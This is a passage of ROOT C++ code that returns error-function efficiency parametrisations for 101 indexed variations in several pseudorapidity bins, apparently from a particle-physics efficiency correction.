0.9678*TMath::Erf((x-0.0054)/3.6288);\n else if (idx == 11 ) num = num = 0.9669*TMath::Erf((x-0.0065)/3.5717);\n else if (idx == 12 ) num = num = 0.9463*TMath::Erf((x-0.0003)/3.5084);\n else if (idx == 13 ) num = num = 0.9627*TMath::Erf((x-0.4150)/3.3293);\n else if (idx == 14 ) num = num = 0.9747*TMath::Erf((x-0.0057)/3.6136);\n else if (idx == 15 ) num = num = 0.9600*TMath::Erf((x-0.0000)/3.5725);\n else if (idx == 16 ) num = num = 0.9791*TMath::Erf((x-0.0000)/3.8261);\n else if (idx == 17 ) num = num = 0.9742*TMath::Erf((x-0.0716)/3.7258);\n else if (idx == 18 ) num = num = 0.9639*TMath::Erf((x-0.0001)/3.3620);\n else if (idx == 19 ) num = num = 0.9610*TMath::Erf((x-0.0010)/3.6637);\n else if (idx == 20 ) num = num = 0.9629*TMath::Erf((x-0.0339)/3.4991);\n else if (idx == 21 ) num = num = 0.9567*TMath::Erf((x-0.0000)/3.5276);\n else if (idx == 22 ) num = num = 0.9667*TMath::Erf((x-0.0942)/3.7192);\n else if (idx == 23 ) num = num = 0.9628*TMath::Erf((x-0.0248)/3.4793);\n else if (idx == 24 ) num = num = 0.9673*TMath::Erf((x-0.0010)/3.6308);\n else if (idx == 25 ) num = num = 0.9833*TMath::Erf((x-0.1758)/3.5619);\n else if (idx == 26 ) num = num = 0.9634*TMath::Erf((x-0.5286)/3.0728);\n else if (idx == 27 ) num = num = 0.9724*TMath::Erf((x-0.0002)/3.7928);\n else if (idx == 28 ) num = num = 0.9724*TMath::Erf((x-0.0777)/3.6025);\n else if (idx == 29 ) num = num = 0.9524*TMath::Erf((x-0.0000)/3.5025);\n else if (idx == 30 ) num = num = 0.9732*TMath::Erf((x-0.2828)/3.5559);\n else if (idx == 31 ) num = num = 0.9652*TMath::Erf((x-0.0051)/3.5935);\n else if (idx == 32 ) num = num = 0.9550*TMath::Erf((x-0.0008)/3.5485);\n else if (idx == 33 ) num = num = 0.9610*TMath::Erf((x-1.4199)/2.3268);\n else if (idx == 34 ) num = num = 0.9728*TMath::Erf((x-0.0000)/3.7266);\n else if (idx == 35 ) num = num = 0.9490*TMath::Erf((x-1.7693)/1.8437);\n else if (idx == 36 ) num = num = 0.9573*TMath::Erf((x-0.2920)/3.2727);\n else if (idx == 37 ) num = num = 0.9762*TMath::Erf((x-0.3249)/3.4906);\n else if (idx == 38 ) num = num = 0.9699*TMath::Erf((x-0.1001)/3.4740);\n else if (idx == 39 ) num = num = 0.9672*TMath::Erf((x-0.0002)/3.7581);\n else if (idx == 40 ) num = num = 0.9695*TMath::Erf((x-0.4465)/3.2907);\n else if (idx == 41 ) num = num = 0.9629*TMath::Erf((x-0.0001)/3.7280);\n else if (idx == 42 ) num = num = 0.9625*TMath::Erf((x-0.4043)/3.2719);\n else if (idx == 43 ) num = num = 0.9520*TMath::Erf((x-1.4676)/2.2611);\n else if (idx == 44 ) num = num = 0.9598*TMath::Erf((x-0.3403)/3.2232);\n else if (idx == 45 ) num = num = 0.9547*TMath::Erf((x-1.3418)/2.2941);\n else if (idx == 46 ) num = num = 0.9632*TMath::Erf((x-0.0057)/3.5781);\n else if (idx == 47 ) num = num = 0.9597*TMath::Erf((x-0.0000)/3.6319);\n else if (idx == 48 ) num = num = 0.9656*TMath::Erf((x-0.4096)/3.1165);\n else if (idx == 49 ) num = num = 0.9518*TMath::Erf((x-0.0000)/3.6370);\n else if (idx == 50 ) num = num = 0.9644*TMath::Erf((x-0.0002)/3.6204);\n else if (idx == 51 ) num = num = 0.9647*TMath::Erf((x-0.0007)/3.6783);\n else if (idx == 52 ) num = num = 0.9562*TMath::Erf((x-1.1547)/2.4062);\n else if (idx == 53 ) num = num = 0.9480*TMath::Erf((x-1.2580)/2.4798);\n else if (idx == 54 ) num = num = 0.9651*TMath::Erf((x-0.9132)/2.7954);\n else if (idx == 55 ) num = num = 0.9616*TMath::Erf((x-0.0000)/3.6483);\n else if (idx == 56 ) num = num = 0.9620*TMath::Erf((x-0.0021)/3.5337);\n else if (idx == 57 ) num = num = 0.9765*TMath::Erf((x-0.0003)/3.7741);\n else if (idx == 58 ) num = num = 0.9567*TMath::Erf((x-0.1916)/3.4178);\n else if (idx == 59 ) num = num = 0.9667*TMath::Erf((x-0.0000)/3.6474);\n else if (idx == 60 ) num = num = 0.9586*TMath::Erf((x-1.3855)/2.2950);\n else if (idx == 61 ) num = num = 0.9728*TMath::Erf((x-0.3151)/3.4472);\n else if (idx == 62 ) num = num = 0.9568*TMath::Erf((x-1.1090)/2.5554);\n else if (idx == 63 ) num = num = 0.9704*TMath::Erf((x-0.7167)/3.0793);\n else if (idx == 64 ) num = num = 0.9665*TMath::Erf((x-0.0998)/3.4820);\n else if (idx == 65 ) num = num = 0.9572*TMath::Erf((x-1.6344)/2.0978);\n else if (idx == 66 ) num = num = 0.9530*TMath::Erf((x-1.5226)/2.2361);\n else if (idx == 67 ) num = num = 0.9645*TMath::Erf((x-0.5670)/3.1461);\n else if (idx == 68 ) num = num = 0.9625*TMath::Erf((x-0.9749)/2.7346);\n else if (idx == 69 ) num = num = 0.9475*TMath::Erf((x-1.6676)/2.0774);\n else if (idx == 70 ) num = num = 0.9504*TMath::Erf((x-0.0002)/3.4657);\n else if (idx == 71 ) num = num = 0.9601*TMath::Erf((x-0.0001)/3.4187);\n else if (idx == 72 ) num = num = 0.9647*TMath::Erf((x-0.0718)/3.5872);\n else if (idx == 73 ) num = num = 0.9636*TMath::Erf((x-1.0335)/2.6745);\n else if (idx == 74 ) num = num = 0.9661*TMath::Erf((x-0.0038)/3.7341);\n else if (idx == 75 ) num = num = 0.9728*TMath::Erf((x-0.0001)/3.6943);\n else if (idx == 76 ) num = num = 0.9627*TMath::Erf((x-0.0006)/3.5229);\n else if (idx == 77 ) num = num = 0.9536*TMath::Erf((x-2.0316)/1.6682);\n else if (idx == 78 ) num = num = 0.9626*TMath::Erf((x-0.0004)/3.6766);\n else if (idx == 79 ) num = num = 0.9624*TMath::Erf((x-0.0104)/3.5845);\n else if (idx == 80 ) num = num = 0.9565*TMath::Erf((x-0.0326)/3.5482);\n else if (idx == 81 ) num = num = 0.9564*TMath::Erf((x-0.4778)/3.0804);\n else if (idx == 82 ) num = num = 0.9670*TMath::Erf((x-0.0000)/3.4946);\n else if (idx == 83 ) num = num = 0.9585*TMath::Erf((x-0.0000)/3.6366);\n else if (idx == 84 ) num = num = 0.9575*TMath::Erf((x-0.0250)/3.5199);\n else if (idx == 85 ) num = num = 0.9405*TMath::Erf((x-2.5339)/1.0993);\n else if (idx == 86 ) num = num = 0.9591*TMath::Erf((x-0.5736)/3.0312);\n else if (idx == 87 ) num = num = 0.9652*TMath::Erf((x-0.0002)/3.7560);\n else if (idx == 88 ) num = num = 0.9600*TMath::Erf((x-0.0000)/3.6705);\n else if (idx == 89 ) num = num = 0.9581*TMath::Erf((x-0.0000)/3.4552);\n else if (idx == 90 ) num = num = 0.9648*TMath::Erf((x-0.0001)/3.5741);\n else if (idx == 91 ) num = num = 0.9588*TMath::Erf((x-1.6622)/2.1215);\n else if (idx == 92 ) num = num = 0.9589*TMath::Erf((x-1.0242)/2.6125);\n else if (idx == 93 ) num = num = 0.9648*TMath::Erf((x-1.0490)/2.6808);\n else if (idx == 94 ) num = num = 0.9537*TMath::Erf((x-0.0000)/3.6769);\n else if (idx == 95 ) num = num = 0.9579*TMath::Erf((x-0.7354)/2.9605);\n else if (idx == 96 ) num = num = 0.9550*TMath::Erf((x-0.6668)/2.9521);\n else if (idx == 97 ) num = num = 0.9704*TMath::Erf((x-0.0009)/3.8373);\n else if (idx == 98 ) num = num = 0.9586*TMath::Erf((x-0.0007)/3.6153);\n else if (idx == 99 ) num = num = 0.9602*TMath::Erf((x-0.6008)/2.9767);\n else if (idx == 100 ) num = num = 0.9667*TMath::Erf((x-0.5596)/3.1779);\n }\n else if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9725*TMath::Erf((x-1.0054)/2.3187);\n else if (idx == 1 ) num = 0.9624*TMath::Erf((x-1.4416)/1.7773);\n else if (idx == 2 ) num = 0.9609*TMath::Erf((x-1.4255)/1.8398);\n else if (idx == 3 ) num = 0.9677*TMath::Erf((x-1.0155)/2.3358);\n else if (idx == 4 ) num = 0.9851*TMath::Erf((x-0.9391)/2.3845);\n else if (idx == 5 ) num = 0.9604*TMath::Erf((x-1.4705)/1.6804);\n else if (idx == 6 ) num = 0.9789*TMath::Erf((x-0.9451)/2.3237);\n else if (idx == 7 ) num = 0.9896*TMath::Erf((x-0.4204)/3.1477);\n else if (idx == 8 ) num = 0.9561*TMath::Erf((x-1.4171)/1.8180);\n else if (idx == 9 ) num = 0.9508*TMath::Erf((x-1.4764)/1.6237);\n else if (idx == 10 ) num = 0.9673*TMath::Erf((x-1.4394)/1.7603);\n else if (idx == 11 ) num = 0.9844*TMath::Erf((x-0.6379)/2.8137);\n else if (idx == 12 ) num = 0.9714*TMath::Erf((x-1.1242)/2.1871);\n else if (idx == 13 ) num = 0.9590*TMath::Erf((x-1.4983)/1.6285);\n else if (idx == 14 ) num = 0.9621*TMath::Erf((x-1.0317)/2.2123);\n else if (idx == 15 ) num = 0.9815*TMath::Erf((x-0.2520)/3.0793);\n else if (idx == 16 ) num = 0.9893*TMath::Erf((x-0.0001)/3.4312);\n else if (idx == 17 ) num = 0.9685*TMath::Erf((x-1.2060)/2.0298);\n else if (idx == 18 ) num = 0.9705*TMath::Erf((x-0.7812)/2.5635);\n else if (idx == 19 ) num = 0.9553*TMath::Erf((x-1.3334)/1.7871);\n else if (idx == 20 ) num = 0.9756*TMath::Erf((x-0.4695)/2.9182);\n else if (idx == 21 ) num = 0.9708*TMath::Erf((x-0.9369)/2.4114);\n else if (idx == 22 ) num = 0.9675*TMath::Erf((x-1.5539)/1.7644);\n else if (idx == 23 ) num = 0.9718*TMath::Erf((x-0.7817)/2.4752);\n else if (idx == 24 ) num = 0.9590*TMath::Erf((x-1.0907)/2.2183);\n else if (idx == 25 ) num = 0.9670*TMath::Erf((x-1.1959)/2.0636);\n else if (idx == 26 ) num = 0.9690*TMath::Erf((x-1.3890)/2.0212);\n else if (idx == 27 ) num = 0.9588*TMath::Erf((x-1.5080)/1.7620);\n else if (idx == 28 ) num = 0.9739*TMath::Erf((x-0.7799)/2.5245);\n else if (idx == 29 ) num = 0.9718*TMath::Erf((x-0.9394)/2.3793);\n else if (idx == 30 ) num = 0.9790*TMath::Erf((x-0.5842)/2.7425);\n else if (idx == 31 ) num = 0.9756*TMath::Erf((x-1.2405)/2.1690);\n else if (idx == 32 ) num = 0.9904*TMath::Erf((x-0.2364)/3.2124);\n else if (idx == 33 ) num = 0.9344*TMath::Erf((x-1.8951)/1.0975);\n else if (idx == 34 ) num = 0.9622*TMath::Erf((x-1.3359)/1.8434);\n else if (idx == 35 ) num = 0.9667*TMath::Erf((x-0.3665)/2.9718);\n else if (idx == 36 ) num = 0.9688*TMath::Erf((x-1.2544)/2.0477);\n else if (idx == 37 ) num = 0.9621*TMath::Erf((x-1.2193)/2.0045);\n else if (idx == 38 ) num = 0.9633*TMath::Erf((x-1.1907)/2.1285);\n else if (idx == 39 ) num = 0.9588*TMath::Erf((x-1.6313)/1.5727);\n else if (idx == 40 ) num = 0.9781*TMath::Erf((x-0.9468)/2.3724);\n else if (idx == 41 ) num = 0.9711*TMath::Erf((x-0.5582)/2.7929);\n else if (idx == 42 ) num = 0.9694*TMath::Erf((x-1.0678)/2.2157);\n else if (idx == 43 ) num = 0.9704*TMath::Erf((x-1.2329)/2.0653);\n else if (idx == 44 ) num = 1.0000*TMath::Erf((x-0.6889)/2.8299);\n else if (idx == 45 ) num = 0.9688*TMath::Erf((x-1.2309)/2.0543);\n else if (idx == 46 ) num = 0.9643*TMath::Erf((x-1.3315)/1.9308);\n else if (idx == 47 ) num = 0.9865*TMath::Erf((x-0.6719)/2.6005);\n else if (idx == 48 ) num = 0.9787*TMath::Erf((x-0.6913)/2.7115);\n else if (idx == 49 ) num = 0.9649*TMath::Erf((x-1.4778)/1.7583);\n else if (idx == 50 ) num = 0.9734*TMath::Erf((x-0.7032)/2.6032);\n else if (idx == 51 ) num = 0.9708*TMath::Erf((x-1.0119)/2.3540);\n else if (idx == 52 ) num = 0.9759*TMath::Erf((x-0.4909)/2.8285);\n else if (idx == 53 ) num = 0.9620*TMath::Erf((x-1.5844)/1.6292);\n else if (idx == 54 ) num = 0.9803*TMath::Erf((x-0.4475)/2.9694);\n else if (idx == 55 ) num = 0.9659*TMath::Erf((x-1.4119)/1.9177);\n else if (idx == 56 ) num = 0.9761*TMath::Erf((x-0.6871)/2.7230);\n else if (idx == 57 ) num = 0.9927*TMath::Erf((x-0.4183)/3.1392);\n else if (idx == 58 ) num = 0.9818*TMath::Erf((x-0.1407)/3.3226);\n else if (idx == 59 ) num = 0.9803*TMath::Erf((x-0.0006)/3.2613);\n else if (idx == 60 ) num = 0.9952*TMath::Erf((x-0.4524)/2.9395);\n else if (idx == 61 ) num = 0.9765*TMath::Erf((x-0.5178)/2.8304);\n else if (idx == 62 ) num = 0.9955*TMath::Erf((x-0.2567)/3.2022);\n else if (idx == 63 ) num = 0.9677*TMath::Erf((x-0.9445)/2.2396);\n else if (idx == 64 ) num = 0.9709*TMath::Erf((x-1.2380)/2.0599);\n else if (idx == 65 ) num = 0.9727*TMath::Erf((x-1.3148)/1.9591);\n else if (idx == 66 ) num = 0.9504*TMath::Erf((x-1.7061)/1.3461);\n else if (idx == 67 ) num = 1.0000*TMath::Erf((x-0.4115)/3.1207);\n else if (idx == 68 ) num = 0.9758*TMath::Erf((x-1.0852)/2.3257);\n else if (idx == 69 ) num = 0.9723*TMath::Erf((x-1.2474)/2.0366);\n else if (idx == 70 ) num = 0.9640*TMath::Erf((x-1.5346)/1.7688);\n else if (idx == 71 ) num = 0.9817*TMath::Erf((x-0.7544)/2.6737);\n else if (idx == 72 ) num = 0.9801*TMath::Erf((x-0.5862)/2.8473);\n else if (idx == 73 ) num = 0.9723*TMath::Erf((x-0.7524)/2.6495);\n else if (idx == 74 ) num = 0.9687*TMath::Erf((x-1.0557)/2.2976);\n else if (idx == 75 ) num = 0.9702*TMath::Erf((x-0.5857)/2.6926);\n else if (idx == 76 ) num = 0.9732*TMath::Erf((x-0.0001)/3.1616);\n else if (idx == 77 ) num = 0.9698*TMath::Erf((x-1.0354)/2.3115);\n else if (idx == 78 ) num = 0.9701*TMath::Erf((x-1.1116)/2.0968);\n else if (idx == 79 ) num = 0.9798*TMath::Erf((x-0.5916)/2.8587);\n else if (idx == 80 ) num = 0.9909*TMath::Erf((x-0.0944)/3.3648);\n else if (idx == 81 ) num = 0.9988*TMath::Erf((x-0.7576)/2.8412);\n else if (idx == 82 ) num = 0.9619*TMath::Erf((x-1.6963)/1.4870);\n else if (idx == 83 ) num = 0.9937*TMath::Erf((x-0.8798)/2.5264);\n else if (idx == 84 ) num = 0.9701*TMath::Erf((x-0.7391)/2.6178);\n else if (idx == 85 ) num = 0.9811*TMath::Erf((x-1.1204)/2.2529);\n else if (idx == 86 ) num = 0.9667*TMath::Erf((x-0.8648)/2.5160);\n else if (idx == 87 ) num = 0.9713*TMath::Erf((x-0.7809)/2.5497);\n else if (idx == 88 ) num = 0.9628*TMath::Erf((x-1.0778)/2.2631);\n else if (idx == 89 ) num = 0.9842*TMath::Erf((x-0.2035)/3.1304);\n else if (idx == 90 ) num = 0.9760*TMath::Erf((x-1.0671)/2.2831);\n else if (idx == 91 ) num = 0.9659*TMath::Erf((x-1.2502)/2.0683);\n else if (idx == 92 ) num = 0.9728*TMath::Erf((x-1.0199)/2.3376);\n else if (idx == 93 ) num = 0.9747*TMath::Erf((x-1.1598)/2.1321);\n else if (idx == 94 ) num = 0.9612*TMath::Erf((x-1.3162)/1.9382);\n else if (idx == 95 ) num = 0.9949*TMath::Erf((x-0.4540)/2.9561);\n else if (idx == 96 ) num = 0.9461*TMath::Erf((x-1.2461)/1.8913);\n else if (idx == 97 ) num = 0.9618*TMath::Erf((x-1.5537)/1.6836);\n else if (idx == 98 ) num = 0.9855*TMath::Erf((x-1.2420)/2.2255);\n else if (idx == 99 ) num = 0.9835*TMath::Erf((x-1.2824)/2.0789);\n else if (idx == 100 ) num = 0.9579*TMath::Erf((x-1.3225)/1.7787);\n }\n else if (fabs(eta)<2.1)\n {\n if (idx==0) num = 0.9194*TMath::Erf((x-0.9733)/2.1374);\n else if (idx == 1 ) num = 0.9141*TMath::Erf((x-0.8585)/2.2579);\n else if (idx == 2 ) num = 0.9139*TMath::Erf((x-1.1836)/1.8395);\n else if (idx == 3 ) num = 0.9224*TMath::Erf((x-1.0448)/2.0774);\n else if (idx == 4 ) num = 0.9394*TMath::Erf((x-0.7773)/2.5689);\n else if (idx == 5 ) num = 0.9284*TMath::Erf((x-0.8652)/2.2998);\n else if (idx == 6 ) num = 0.9075*TMath::Erf((x-1.2205)/1.6816);\n else if (idx == 7 ) num = 0.9041*TMath::Erf((x-1.5940)/1.2660);\n else if (idx == 8 ) num = 0.9328*TMath::Erf((x-0.7253)/2.5388);\n else if (idx == 9 ) num = 0.9367*TMath::Erf((x-0.8831)/2.3311);\n else if (idx == 10 ) num = 0.9339*TMath::Erf((x-0.7607)/2.3856);\n else if (idx == 11 ) num = 0.9157*TMath::Erf((x-1.3455)/1.7206);\n else if (idx == 12 ) num = 0.9196*TMath::Erf((x-1.2244)/1.8273);\n else if (idx == 13 ) num = 0.9238*TMath::Erf((x-1.0232)/2.1269);\n else if (idx == 14 ) num = 0.9100*TMath::Erf((x-1.1748)/1.8535);\n else if (idx == 15 ) num = 0.9192*TMath::Erf((x-1.0870)/1.9155);\n else if (idx == 16 ) num = 0.9054*TMath::Erf((x-1.1503)/1.8208);\n else if (idx == 17 ) num = 0.9118*TMath::Erf((x-1.0609)/1.9740);\n else if (idx == 18 ) num = 0.9346*TMath::Erf((x-0.7772)/2.4465);\n else if (idx == 19 ) num = 0.9243*TMath::Erf((x-0.9348)/2.1655);\n else if (idx == 20 ) num = 0.9060*TMath::Erf((x-1.1269)/1.9062);\n else if (idx == 21 ) num = 0.9081*TMath::Erf((x-1.2569)/1.6576);\n else if (idx == 22 ) num = 0.9130*TMath::Erf((x-0.9907)/2.0153);\n else if (idx == 23 ) num = 0.9317*TMath::Erf((x-0.8340)/2.4561);\n else if (idx == 24 ) num = 0.9123*TMath::Erf((x-1.2585)/1.7145);\n else if (idx == 25 ) num = 0.9125*TMath::Erf((x-0.9039)/2.2128);\n else if (idx == 26 ) num = 0.9141*TMath::Erf((x-0.8812)/2.2268);\n else if (idx == 27 ) num = 0.9095*TMath::Erf((x-1.2557)/1.7464);\n else if (idx == 28 ) num = 0.9146*TMath::Erf((x-0.6200)/2.5846);\n else if (idx == 29 ) num = 0.9204*TMath::Erf((x-1.1601)/1.8240);\n else if (idx == 30 ) num = 0.9013*TMath::Erf((x-0.9402)/2.1895);\n else if (idx == 31 ) num = 0.9196*TMath::Erf((x-1.4287)/1.5397);\n else if (idx == 32 ) num = 0.9060*TMath::Erf((x-1.0351)/2.1591);\n else if (idx == 33 ) num = 0.9059*TMath::Erf((x-1.1597)/1.9703);\n else if (idx == 34 ) num = 0.9224*TMath::Erf((x-0.7879)/2.4105);\n else if (idx == 35 ) num = 0.9130*TMath::Erf((x-1.0260)/1.9995);\n else if (idx == 36 ) num = 0.9237*TMath::Erf((x-1.0034)/2.1107);\n else if (idx == 37 ) num = 0.9155*TMath::Erf((x-1.3690)/1.5524);\n else if (idx == 38 ) num = 0.9121*TMath::Erf((x-0.8417)/2.2966);\n else if (idx == 39 ) num = 0.9303*TMath::Erf((x-0.9458)/2.2193);\n else if (idx == 40 ) num = 0.9370*TMath::Erf((x-0.4029)/2.9617);\n else if (idx == 41 ) num = 0.9180*TMath::Erf((x-0.9601)/2.0773);\n else if (idx == 42 ) num = 0.9207*TMath::Erf((x-1.1347)/2.0056);\n else if (idx == 43 ) num = 0.9265*TMath::Erf((x-1.3487)/1.6840);\n else if (idx == 44 ) num = 0.9182*TMath::Erf((x-0.9967)/2.1214);\n else if (idx == 45 ) num = 0.9138*TMath::Erf((x-0.7841)/2.3072);\n else if (idx == 46 ) num = 0.9204*TMath::Erf((x-0.8596)/2.2421);\n else if (idx == 47 ) num = 0.9365*TMath::Erf((x-0.8316)/2.3389);\n else if (idx == 48 ) num = 0.9271*TMath::Erf((x-1.2035)/1.8544);\n else if (idx == 49 ) num = 0.9229*TMath::Erf((x-0.6030)/2.3770);\n else if (idx == 50 ) num = 0.9110*TMath::Erf((x-0.7460)/2.3651);\n else if (idx == 51 ) num = 0.9268*TMath::Erf((x-1.1213)/2.0048);\n else if (idx == 52 ) num = 0.9277*TMath::Erf((x-1.0383)/2.1237);\n else if (idx == 53 ) num = 0.9188*TMath::Erf((x-0.9878)/2.2535);\n else if (idx == 54 ) num = 0.9192*TMath::Erf((x-0.9063)/2.1534);\n else if (idx == 55 ) num = 0.9296*TMath::Erf((x-0.5776)/2.6043);\n else if (idx == 56 ) num = 0.9287*TMath::Erf((x-0.9361)/2.2014);\n else if (idx == 57 ) num = 0.9382*TMath::Erf((x-1.1833)/1.9890);\n else if (idx == 58 ) num = 0.8984*TMath::Erf((x-1.0878)/1.9149);\n else if (idx == 59 ) num = 0.8953*TMath::Erf((x-1.0195)/1.9897);\n else if (idx == 60 ) num = 0.9082*TMath::Erf((x-0.9148)/2.1191);\n else if (idx == 61 ) num = 0.9087*TMath::Erf((x-0.8175)/2.2471);\n else if (idx == 62 ) num = 0.9024*TMath::Erf((x-1.4398)/1.4854);\n else if (idx == 63 ) num = 0.9109*TMath::Erf((x-1.3860)/1.5801);\n else if (idx == 64 ) num = 0.9170*TMath::Erf((x-1.1527)/1.9365);\n else if (idx == 65 ) num = 0.9302*TMath::Erf((x-1.2427)/1.8445);\n else if (idx == 66 ) num = 0.9107*TMath::Erf((x-0.7915)/2.3486);\n else if (idx == 67 ) num = 0.9106*TMath::Erf((x-1.0037)/2.0951);\n else if (idx == 68 ) num = 0.9241*TMath::Erf((x-0.8159)/2.3098);\n else if (idx == 69 ) num = 0.9237*TMath::Erf((x-1.0607)/2.1717);\n else if (idx == 70 ) num = 0.9258*TMath::Erf((x-0.8879)/2.2465);\n else if (idx == 71 ) num = 0.9349*TMath::Erf((x-0.8653)/2.4649);\n else if (idx == 72 ) num = 0.9341*TMath::Erf((x-0.9559)/2.2399);\n else if (idx == 73 ) num = 0.9055*TMath::Erf((x-1.2233)/1.7752);\n else if (idx == 74 ) num = 0.9194*TMath::Erf((x-0.9008)/2.1680);\n else if (idx == 75 ) num = 0.9304*TMath::Erf((x-0.8396)/2.4545);\n else if (idx == 76 ) num = 0.9235*TMath::Erf((x-0.9053)/2.1693);\n else if (idx == 77 ) num = 0.9243*TMath::Erf((x-1.0959)/2.0093);\n else if (idx == 78 ) num = 0.9175*TMath::Erf((x-0.8310)/2.2689);\n else if (idx == 79 ) num = 0.9126*TMath::Erf((x-1.1362)/1.8904);\n else if (idx == 80 ) num = 0.9390*TMath::Erf((x-0.7872)/2.5502);\n else if (idx == 81 ) num = 0.9225*TMath::Erf((x-1.0288)/2.0051);\n else if (idx == 82 ) num = 0.9091*TMath::Erf((x-1.3896)/1.6062);\n else if (idx == 83 ) num = 0.9290*TMath::Erf((x-0.5824)/2.6397);\n else if (idx == 84 ) num = 0.8870*TMath::Erf((x-1.0678)/1.8536);\n else if (idx == 85 ) num = 0.9269*TMath::Erf((x-1.0507)/1.9456);\n else if (idx == 86 ) num = 0.9270*TMath::Erf((x-1.0136)/2.0778);\n else if (idx == 87 ) num = 0.9179*TMath::Erf((x-0.8358)/2.2543);\n else if (idx == 88 ) num = 0.9284*TMath::Erf((x-0.9821)/2.1132);\n else if (idx == 89 ) num = 0.9166*TMath::Erf((x-1.0359)/2.0103);\n else if (idx == 90 ) num = 0.9043*TMath::Erf((x-0.9429)/2.1965);\n else if (idx == 91 ) num = 0.9146*TMath::Erf((x-0.4181)/2.8071);\n else if (idx == 92 ) num = 0.9272*TMath::Erf((x-0.7895)/2.4192);\n else if (idx == 93 ) num = 0.9100*TMath::Erf((x-0.9519)/2.1221);\n else if (idx == 94 ) num = 0.9186*TMath::Erf((x-1.0042)/2.0774);\n else if (idx == 95 ) num = 0.9219*TMath::Erf((x-1.3036)/1.7501);\n else if (idx == 96 ) num = 0.9008*TMath::Erf((x-1.2570)/1.6570);\n else if (idx == 97 ) num = 0.9226*TMath::Erf((x-0.9650)/2.1248);\n else if (idx == 98 ) num = 0.9141*TMath::Erf((x-0.9934)/2.1489);\n else if (idx == 99 ) num = 0.9100*TMath::Erf((x-0.7827)/2.2827);\n else if (idx == 100 ) num = 0.9105*TMath::Erf((x-0.7788)/2.4606);\n }\n else\n {\n if (idx==0) num = 0.8079*TMath::Erf((x-0.9421)/0.8577);\n else if (idx == 1 ) num = 0.8067*TMath::Erf((x-1.6869)/0.1192);\n else if (idx == 2 ) num = 0.8372*TMath::Erf((x-0.0000)/1.9278);\n else if (idx == 3 ) num = 0.8147*TMath::Erf((x-0.9498)/1.0662);\n else if (idx == 4 ) num = 0.7724*TMath::Erf((x-0.6848)/0.4153);\n else if (idx == 5 ) num = 0.8160*TMath::Erf((x-1.4064)/0.4018);\n else if (idx == 6 ) num = 0.8344*TMath::Erf((x-1.0881)/1.0284);\n else if (idx == 7 ) num = 0.8495*TMath::Erf((x-0.6935)/0.4044);\n else if (idx == 8 ) num = 0.8079*TMath::Erf((x-0.5722)/1.0475);\n else if (idx == 9 ) num = 0.8073*TMath::Erf((x-0.9533)/0.9702);\n else if (idx == 10 ) num = 0.8475*TMath::Erf((x-0.0000)/1.7696);\n else if (idx == 11 ) num = 0.7978*TMath::Erf((x-1.1671)/0.7638);\n else if (idx == 12 ) num = 0.8206*TMath::Erf((x-0.9895)/0.8914);\n else if (idx == 13 ) num = 0.7749*TMath::Erf((x-0.0000)/1.6199);\n else if (idx == 14 ) num = 0.7855*TMath::Erf((x-0.6602)/0.3560);\n else if (idx == 15 ) num = 0.8279*TMath::Erf((x-0.0000)/1.9227);\n else if (idx == 16 ) num = 0.7818*TMath::Erf((x-1.5790)/0.2505);\n else if (idx == 17 ) num = 0.8033*TMath::Erf((x-1.5661)/0.2262);\n else if (idx == 18 ) num = 0.7871*TMath::Erf((x-1.2281)/0.4842);\n else if (idx == 19 ) num = 0.7812*TMath::Erf((x-0.5316)/1.1385);\n else if (idx == 20 ) num = 0.7819*TMath::Erf((x-1.4582)/0.2993);\n else if (idx == 21 ) num = 0.8239*TMath::Erf((x-1.0704)/0.7451);\n else if (idx == 22 ) num = 0.7907*TMath::Erf((x-1.6063)/0.2094);\n else if (idx == 23 ) num = 0.7979*TMath::Erf((x-0.0001)/1.4545);\n else if (idx == 24 ) num = 0.7860*TMath::Erf((x-0.0000)/1.6652);\n else if (idx == 25 ) num = 0.7821*TMath::Erf((x-0.2923)/0.0698);\n else if (idx == 26 ) num = 0.8347*TMath::Erf((x-0.6880)/0.3647);\n else if (idx == 27 ) num = 0.8279*TMath::Erf((x-0.9800)/1.0356);\n else if (idx == 28 ) num = 0.8073*TMath::Erf((x-0.8610)/0.9140);\n else if (idx == 29 ) num = 0.7873*TMath::Erf((x-1.2752)/0.5468);\n else if (idx == 30 ) num = 0.8601*TMath::Erf((x-0.2312)/2.0618);\n else if (idx == 31 ) num = 0.8294*TMath::Erf((x-1.4446)/0.3714);\n else if (idx == 32 ) num = 0.7894*TMath::Erf((x-1.5816)/0.2111);\n else if (idx == 33 ) num = 0.7960*TMath::Erf((x-0.0061)/1.7774);\n else if (idx == 34 ) num = 0.7930*TMath::Erf((x-1.4434)/0.2700);\n else if (idx == 35 ) num = 0.8046*TMath::Erf((x-0.0000)/1.6478);\n else if (idx == 36 ) num = 0.7788*TMath::Erf((x-0.4927)/0.2537);\n else if (idx == 37 ) num = 0.7930*TMath::Erf((x-0.0001)/1.5693);\n else if (idx == 38 ) num = 0.8129*TMath::Erf((x-0.0000)/1.8864);\n else if (idx == 39 ) num = 0.7917*TMath::Erf((x-1.0515)/0.7293);\n else if (idx == 40 ) num = 0.7873*TMath::Erf((x-1.1992)/0.8727);\n else if (idx == 41 ) num = 0.7918*TMath::Erf((x-0.0000)/1.5316);\n else if (idx == 42 ) num = 0.8186*TMath::Erf((x-0.6421)/0.6512);\n else if (idx == 43 ) num = 0.8082*TMath::Erf((x-1.4799)/0.2488);\n else if (idx == 44 ) num = 0.8172*TMath::Erf((x-0.6600)/0.3470);\n else if (idx == 45 ) num = 0.8073*TMath::Erf((x-0.0000)/1.5199);\n else if (idx == 46 ) num = 0.8160*TMath::Erf((x-1.5950)/0.2050);\n else if (idx == 47 ) num = 0.7757*TMath::Erf((x-0.8033)/0.8867);\n else if (idx == 48 ) num = 0.8103*TMath::Erf((x-0.0004)/1.9292);\n else if (idx == 49 ) num = 0.8151*TMath::Erf((x-0.8382)/0.9621);\n else if (idx == 50 ) num = 0.8499*TMath::Erf((x-0.0000)/2.4016);\n else if (idx == 51 ) num = 0.8273*TMath::Erf((x-1.2125)/0.6666);\n else if (idx == 52 ) num = 0.8169*TMath::Erf((x-0.2866)/1.2387);\n else if (idx == 53 ) num = 0.8439*TMath::Erf((x-0.0001)/2.2827);\n else if (idx == 54 ) num = 0.8326*TMath::Erf((x-0.0000)/1.7977);\n else if (idx == 55 ) num = 0.7951*TMath::Erf((x-1.5064)/0.2567);\n else if (idx == 56 ) num = 0.7954*TMath::Erf((x-0.0045)/1.2772);\n else if (idx == 57 ) num = 0.8265*TMath::Erf((x-0.0001)/1.7629);\n else if (idx == 58 ) num = 0.8142*TMath::Erf((x-1.1527)/0.5998);\n else if (idx 